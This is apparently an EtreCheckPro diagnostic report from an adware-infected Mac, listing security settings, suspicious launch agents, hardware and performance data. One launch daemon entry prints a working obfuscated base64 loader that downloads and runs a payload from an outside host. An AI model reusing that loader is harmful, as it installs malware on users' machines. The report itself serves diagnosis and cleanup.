EtreCheckPro version: 6.5.6 (6F041) Report generated: 2022-03-13 19:28:13 Download EtreCheckPro from https://etrecheck.com Runtime: 3:12 Performance: Excellent Problem: Other problem Major Issues: Anything that appears on this list needs immediate attention. Proxies - Network proxies detected. This could be evidence of malware. Adware - Adware detected. Unsigned files - There are unsigned software files installed that could be adware and should be reviewed. Gatekeeper disabled - Gatekeeper security protection is disabled. This computer is at risk of malware infection. Automatic updates disabled - Automatic updates are disabled. This computer is at risk of malware infection. Security updates disabled - Security updates are disabled. This computer is at risk of malware infection. Kernel panics - This system has experienced kernel panics. This could be a sign of hardware failure. Low disk space - This computer is running critically low on free hard drive space. Apple security disabled - Apple security software is disabled. This computer is at risk of malware infection. Minor Issues: These issues do not need immediate attention but they may indicate future problems or opportunities for improvement. SSD too slow - SSD is showing poor performance. No Time Machine backup - Time Machine backup not found. Clean up - There are orphan files that could be removed. Unsigned files - There are unsigned software files installed. Apple has said that unsigned software will not run by default in a future version of the operating system. System modifications - There are a large number of system modifications running in the background. Vintage hardware - This computer may be considered vintage. 32-bit Apps - This computer has 32-bits apps will not work on current versions of the operating system. Limited drive access - More information may be available with Full Drive Access. Kernel extensions present - This computer has kernel extensions that may not work in the future. Sharing enabled - This computer has sharing services enabled that could be a security risk. Hardware Information: MacBook Pro (Retina, 13-inch, Late 2013) - Vintage! MacBook Pro Model: MacBookPro11,1 2,4 GHz Intel Core i5 (i5-4258U) CPU: 2-core 8 GB RAM - Not upgradeable BANK 0/DIMM0 - 4 GB DDR3 1600 BANK 1/DIMM0 - 4 GB DDR3 1600 Battery: Health = Normal - Cycle count = 700 Video Information: Intel Iris - VRAM: 1536 MB Color LCD (built-in) 2560 x 1600 Drives: disk0 - APPLE SSD SD0256F 251.00 GB (Solid State - TRIM: Yes) Internal PCI 5.0 GT/s x2 Serial ATA disk0s1 - EFI (MS-DOS FAT32) [EFI] 210 MB disk0s2 [APFS Container] 250.79 GB disk1 [APFS Virtual drive] 250.79 GB (Shared by 4 volumes) disk1s1 - Macintosh HD (APFS) (Shared - 228.31 GB used) disk1s2 - Preboot (APFS) [APFS Preboot] (Shared - 49 MB used) disk1s3 - Recovery (APFS) [Recovery] (Shared - 510 MB used) disk1s4 - VM (APFS) [APFS VM] (Shared - 2.15 GB used) Mounted Volumes: disk1s1 - Macintosh HD 250.79 GB (Shared - 228.31 GB used, 34.05 GB available, 19.63 GB free) APFS Mount point: / disk1s4 - VM [APFS VM] 250.79 GB (Shared - 2.15 GB used, 19.63 GB free) APFS Mount point: /private/var/vm Network: Interface en0: Wi-Fi 802.11 a/b/g/n/ac Proxy Auto Discovery Proxies: SOCKS Interface en3: Bluetooth PAN Proxies: SOCKS Interface bridge0: Thunderbolt Bridge Proxies: SOCKS Interface en4: iPhone Proxies: SOCKS Interface en5: iPad Proxies: SOCKS Printer sharing: Enabled System Software: macOS Mojave 10.14.6 (18G5033) Time since boot: Less than an hour Notifications: Safari.app 13 notifications Security: Gatekeeper: Anywhere System Integrity Protection: Enabled Automatic Updates: Disabled Security Updates: Disabled Antivirus software: None! Printer sharing: Enabled Adware: Launchd: /Library/LaunchDaemons/com.SearchVirtualInfoDaemon.plist Executable: /Library/Application Support/com.SearchVirtualInfoDaemon/SearchVirtualInfo r Reason: Adware pattern match Launchd: ~/Library/LaunchAgents/com.SearchVirtualInfo.plist Executable: ~/Library/Application Support/com.SearchVirtualInfo/SearchVirtualInfo r Reason: Adware pattern match Unsigned Files: Launchd: ~/Library/LaunchAgents/com.service.8968.plist Executable: /Users/Shared/8968/_11182133778 Launchd: /Library/LaunchAgents/com.citrix.AuthManager_Mac.plist Executable: /usr/local/libexec/AuthManager_Mac.app/Contents/MacOS/AuthManager_Mac Details: Exact match found in the legitimate list - probably OK Launchd: /Library/LaunchAgents/com.citrix.ReceiverHelper.plist Executable: /usr/local/libexec/ReceiverHelper.app/Contents/MacOS/ReceiverHelper Details: Exact match found in the legitimate list - probably OK Launchd: ~/Library/LaunchAgents/com.cisco.videoguard10.plist Executable: /bin/sh -c $HOME/Library/Cisco/VideoGuardPlayer/VideoGuard10/VideoGuard10.bundle/Contents/Resources/setupServer.sh Details: Exact match found in the legitimate list - probably OK Launchd: /Library/LaunchDaemons/com.14405296526341384966.11182341063.plist Executable: /Library/Application Support/com.7659241314491025852/4469298107103877023 6C9D26D6-197E-4D5F-9DC8-E10717621403 5727195A-8DD9-421E-ADD2-2C673ED3E0B6 Details: Domain name invalid - possibly adware Launchd: ~/Library/LaunchAgents/com.AC132F8D.8668.4BE0.899C.8DEE04D61E89.plist Executable: ~/Library/Application Support/.41140EF6-D645-4EF7-80AF-37F978A6D3B1/.32DB4E88-12E3-4461-B5B5-945C44B3499E h Details: Domain name invalid - possibly adware Launchd: ~/Library/LaunchAgents/org.8380650132034205477.plist Executable: ~/Library/Application Support/org.5094310185313996591/main_helper Details: Domain name invalid - possibly adware Launchd: ~/Library/LaunchAgents/com.cisco.videoguardmonitor.plist Executable: /bin/sh -c $HOME/Library/Cisco/VideoGuardPlayer/VideoGuardMonitor/VideoGuardMonitor.bundle/Contents/Resources/launch.sh Details: Exact match found in the legitimate list - probably OK Launchd: /Library/LaunchDaemons/com.17202767767754081582.13003367859.plist Executable: /Library/Application Support/com.3111338705954174832/413016873429068435 1835CA3E-E1E2-402B-8D0E-69B5140BB0AB EF5FED7D-6281-4BEA-991E-11E5CE71C872 Details: Domain name invalid - possibly adware Launchd: ~/Library/LaunchAgents/com.cisco.videoguard10.uninstall.plist Executable: /bin/sh ~/.cisco/VideoGuard/uninstall/cisco_videoguard10/condUninstall.sh Details: Exact match found in the legitimate list - probably OK Launchd: ~/Library/LaunchAgents/com.15291616219119641188.10274269812.plist Executable: ~/Library/Application Support/com.5809361069896952840/6584996811660816367 4137FD67-EA59-4D42-A9AC-8723750EA41B B65EF355-8875-4EDA-A771-45A76F9A7DFC Details: Domain name invalid - possibly adware Launchd: /Library/LaunchAgents/com.citrix.ServiceRecords.plist Executable: /usr/local/libexec/ServiceRecords.app/Contents/MacOS/ServiceRecords Details: Exact match found in the legitimate list - probably OK Launchd: /Library/LaunchDaemons/com.SearchVirtualInfoP.plist Executable: /var/root/.SearchVirtualInfo/SearchVirtualInfoDaemon pd Details: Domain name invalid - possibly adware Launchd: /Library/LaunchDaemons/org.macosforge.xquartz.privileged_startx.plist Executable: /opt/X11/lib/X11/xinit/privileged_startx -d /opt/X11/lib/X11/xinit/privileged_startx.d Details: Exact match found in the legitimate list - probably OK Launchd: /Library/LaunchDaemons/com.citrix.ctxusbd.plist Executable: /Library/Application Support/Citrix Receiver/ctxusbd Details: Exact match found in the legitimate list - probably OK Launchd: /Library/LaunchDaemons/com.80DAA38D.59BF.47E5.BFFC.E9399556D45B.plist Executable: /bin/zsh -c 'echo -e YnZnUzc9J3RtcD0iJChta3QnO2J2Z1M3ODlSPSdlbXAgL3RtcC9YWFgnO2J2Z1M3ODlSUjhYbj0nWFhYWFgpIjsgY3UnO2J2Zz0ncmwgLS1yZXRyeSA1IC1mICc7YnZnUzc4OT0nImh0dHA6Ly9hcGkuaGVsJztidmdTNzg5UlI4WD0ncGVyb2InO2J2Z1M3OD0namVjdC4nO2J2Z1M3ODlSUjg9J2NvbS9wbGc/dT1FQTknO0xSejU2PSdCRDRDQy0wNEM4LSc7TFJ6NTZWZVpTPSc1QzYyLUInO0xSejU9J0EwNy1EM0QyQjg4OSc7TFJ6NTZWPSc2QThFJztMUno9JyIgLW8gIiR7dG1wfSI7Jzt1Y1RnNUptN1M9JyBpZic7ZHljczR4dGNTPScgW1sgLXMgIiR7dG0nO2R5Y3M0eHQ9J3B9IiBdJztkeWNzPSddOyB0aGVuIGNobW9kIDcnO05WdkY9Jzc3ICIke3RtJztOVnZGMmtBa1NPST0ncH0iJztOVnZGMmtBPSc7ICIke3RtcH0iOyBmaTsgcic7TlZ2RjJrPSdtICIke3RtcCc7TlZ2RjJrQWs9J30iJztlY2hvIC1lICR7YnZnUzd9JHtidmdTNzg5Un0ke2J2Z1M3ODlSUjhYbn0ke2J2Z30ke2J2Z1M3ODl9JHtidmdTNzg5UlI4WH0ke2J2Z1M3OH0ke2J2Z1M3ODlSUjh9JHtMUno1Nn0ke0xSejU2VmVaU30ke0xSejV9JHtMUno1NlZ9JHtMUnp9JHt1Y1RnNUptN1N9JHtkeWNzNHh0Y1N9JHtkeWNzNHh0fSR7ZHljc30ke05WdkZ9JHtOVnZGMmtBa1NPSX0ke05WdkYya0F9JHtOVnZGMmt9JHtOVnZGMmtBa30gfCAvYmluL3pzaA== | base64 -D | /bin/bash' Details: Domain name invalid - possibly adware Launchd: /Library/LaunchAgents/org.macosforge.xquartz.startx.plist Executable: /opt/X11/lib/X11/xinit/launchd_startx /opt/X11/bin/startx -- /opt/X11/bin/Xquartz Details: Exact match found in the legitimate list - probably OK Plugin: /Library/Internet Plug-Ins/Silverlight.plugin Apps: 4 Old Applications: 2 32-bit apps Kernel Extensions: /Library/Extensions [Not Loaded] hp_io_enabler_compound.kext - com.hp.kext.io.enabler.compound (3.4.0) /System/Library/Extensions [Not Loaded] hp_fax_io.kext - com.hp.kext.hp-fax-io (5.11.0 - SDK 10.8) [Not Loaded] hp_Inkjet_io_enabler.kext - com.hp.print.hpio.Inkjet.kext (4.0.4 - SDK 10.8) [Not Loaded] JMicronATA.kext - com.jmicron.JMicronATA (1.1.6) System Launch Daemons: [Not Loaded] 36 Apple tasks [Loaded] 189 Apple tasks [Running] 111 Apple tasks System Launch Agents: [Not Loaded] 15 Apple tasks [Loaded] 180 Apple tasks [Running] 105 Apple tasks Launch Daemons: [Other] com.14405296526341384966.11182341063.plist (? 557599e0 - installed 2020-10-14) [Other] com.17202767767754081582.13003367859.plist (? 5cf04fcb - installed 2021-05-23) [Loaded] com.80DAA38D.59BF.47E5.BFFC.E9399556D45B.plist (? 24c7df14 - installed 2021-07-15) [Loaded] com.SearchVirtualInfoDaemon.plist (Adware - installed 2022-03-13) [Running] com.SearchVirtualInfoP.plist (? 1d3f1d0d - installed 2020-10-14) [Not Loaded] com.apple.installer.osmessagetracing.plist (Apple - installed 2020-06-20) [Loaded] com.citrix.ctxusbd.plist (? 44dc9c9f - installed 2019-11-11) [Loaded] com.ea.origin.ESHelper.plist (EA Swiss Sarl - installed 2022-03-13) [Loaded] com.microsoft.OneDriveUpdaterDaemon.plist (Microsoft Corporation - installed 2019-03-06) [Loaded] com.microsoft.autoupdate.helper.plist (Microsoft Corporation - installed 2022-02-20) [Loaded] com.microsoft.office.licensingV2.helper.plist (Microsoft Corporation - installed 2021-11-17) [Loaded] org.macosforge.xquartz.privileged_startx.plist (? 77ab826e - installed 2019-04-22) [Not Loaded] org.virtualbox.startup.plist (? 0 - installed ) [Loaded] us.zoom.ZoomDaemon.plist (Zoom Video Communications, Inc. - installed 2022-01-19) Launch Agents: [Running] com.citrix.AuthManager_Mac.plist (? b095ca60 - installed 2019-11-11) [Running] com.citrix.ReceiverHelper.plist (? 369731a0 - installed 2019-11-11) [Running] com.citrix.ServiceRecords.plist (? 8e6543d - installed 2019-11-11) [Loaded] com.microsoft.update.agent.plist (Microsoft Corporation - installed 2022-02-20) [Loaded] org.macosforge.xquartz.startx.plist (? 2748570a - installed 2019-04-22) User Launch Agents: [Other] com.15291616219119641188.10274269812.plist (? 0 - installed 2020-07-05) [Loaded] com.AC132F8D.8668.4BE0.899C.8DEE04D61E89.plist (? 0 - installed 2020-07-15) [Loaded] com.SearchVirtualInfo.plist (Adware - installed 2022-03-13) [Loaded] com.cisco.videoguard10.plist (? 0 - installed 2020-04-15) [Loaded] com.cisco.videoguard10.uninstall.plist (? 0 - installed 2020-04-15) [Running] com.cisco.videoguardmonitor.plist (? 0 - installed 2020-04-15) [Loaded] com.ea.origin.WebHelper.plist (EA Swiss Sarl - installed 2022-03-13) [Loaded] com.service.8968.plist (? 0 - installed 2020-10-21) [Running] org.8380650132034205477.plist (? 0 - installed 2022-01-02) [Not Loaded] org.virtualbox.vboxwebsrv.plist (? 0 - installed 2020-06-11) User Login Items: [Not Loaded] Launcher Disabler (Microsoft Corporation - installed 2019-04-22) Modern Login Item /Applications/OneDrive.app/Contents/Library/LoginItems/Launcher Disabler.app [Not Loaded] OneDrive Launcher (Microsoft Corporation - installed 2019-04-22) Modern Login Item /Applications/OneDrive.app/Contents/Library/LoginItems/OneDrive Launcher.app [Loaded] Origin (EA Swiss Sarl - installed 2020-07-17) Application /Applications/Origin.app [Loaded] StartUpHelper (Spotify - installed 2019-10-10) Modern Login Item /Applications/Spotify.app/Contents/Library/LoginItems/StartUpHelper.app [Not Loaded] WhatsApp Login Helper (App Store - installed 2022-02-24) Modern Login Item /Applications/WhatsApp.app/Contents/Library/LoginItems/WhatsApp Login Helper.app [Not Loaded] PhotoStreamAgent (App Store - installed 2019-04-22) Modern Login Item /Applications/iPhoto.app/Contents/Library/LoginItems/PhotoStreamAgent.app [Not Loaded] HP Device Monitor (HP Inc. - installed 2017-10-30) Modern Login Item /Library/Printers/hp/Frameworks/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor Manager.app/Contents/Library/LoginItems/HP Device Monitor.app [Not Loaded] HP Product Research (HP Inc. - installed 2017-10-30) Modern Login Item /Library/Printers/hp/Utilities/HPPU Plugins/ProductImprovementStudy.hptask/Contents/Helpers/HP Product Research Manager.app/Contents/Library/LoginItems/HP Product Research.app Internet Plug-ins: JavaAppletPlugin: 15.0.1 (Apple - installed 2014-03-19) Silverlight: 5.1.50901.0 (? - installed 2019-04-22) Audio Plug-ins: AirPlay: 2.0 (Apple - installed 2020-06-20) BridgeAudioSP: 5.52 (Apple - installed 2020-06-20) iSightAudio: 7.7.3 (Apple - installed 2020-04-15) AppleAVBAudio: 760.6 (Apple - installed 2020-04-15) ZoomAudioDevice: 1.0 (Zoom Video Communications, Inc. - installed 2020-09-24) BluetoothAudioPlugIn: 6.0.14 (Apple - installed 2020-06-20) AppleTimeSyncAudioClock: 1.0 (Apple - installed 2020-04-15) CoreMediaIO Plug-ins: AppleCamera: 400.6.8 (Apple - installed 2019-04-22) Backup: Time Machine Not Configured! Performance: System Load: 1.68 (1 min ago) 1.74 (5 min ago) 2.12 (15 min ago) Nominal I/O speed: 0.18 MB/s File system: 24.26 seconds Write speed: 281 MB/s Read speed: 581 MB/s CPU Usage Snapshot: Type Overall System: 2 % User: 5 % Idle: 93 % Top Processes Snapshot by CPU: Process (count) CPU (Source - Location) system_profiler (2) 58.05 % (Apple) trustd (4) 19.20 % (Apple) EtreCheckPro 9.98 % (Etresoft, Inc.) WindowServer 5.16 % (Apple) launchd 1.86 % (Apple) Top Processes Snapshot by Memory: Process (count) RAM usage (Source - Location) com.apple.WebKit.WebContent (10) 1.17 GB (Apple) EtreCheckPro 695 MB (Etresoft, Inc.) system_profiler (2) 399 MB (Apple) kernel_task 251 MB (Apple) Finder 206 MB (Apple) Top Processes Snapshot by Network Use: Process (count) Input / Output (Source - Location) mDNSResponder 75 KB / 48 KB (Apple) apsd 13 KB / 27 KB (Apple) homed 4 KB / 516 B (Apple) main 1 KB / 2 KB (? - ~/Library/Application Support/9867748858835077187) netbiosd 1 KB / 966 B (Apple) Top Processes Snapshot by Energy Use: Process (count) Energy (0-100) (Source - Location) WindowServer 2 (Apple) SearchVirtualInfo.py (2) 1 (? - /var/root/.SearchVirtualInfo/SearchVirtualInfo --mode socks5 --showhost -q -s /var/root/.SearchVirtualInfo) socketfilterfw 1 (Apple) trustd (4) 0 (Apple) SearchVirtualInfoDaemon pd 0 (? - /var/root/.SearchVirtualInfo) Virtual Memory Information: Physical RAM: 8 GB Free RAM: 39 MB Used RAM: 4.54 GB Cached files: 3.42 GB Available RAM: 3.46 GB Swap Used: 768 KB Software Installs (past 60 days): Install Date Name (Version) 2022-01-19 Zoom (5.9.1.3506) 2022-02-20 Microsoft AutoUpdate (4.44.22021501) 2022-02-24 WhatsApp (2.2204.13) Clean up: ~/Library/LaunchAgents/org.virtualbox.vboxwebsrv.plist /Applications/VirtualBox.app/Contents/MacOS/vboxwebsrv Executable not found Diagnostics Information (past 7-30 days): 2022-03-13 17:01:51 com.apple.WebKit.WebContent High CPU Use Executable: /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent 2022-02-23 15:05:00 Kernel Panic Details: panic(cpu 0 caller 0xffffff80060dca9d): Kernel trap at 0xffffff7f896a7 252, type 14=page fault, registers: End of report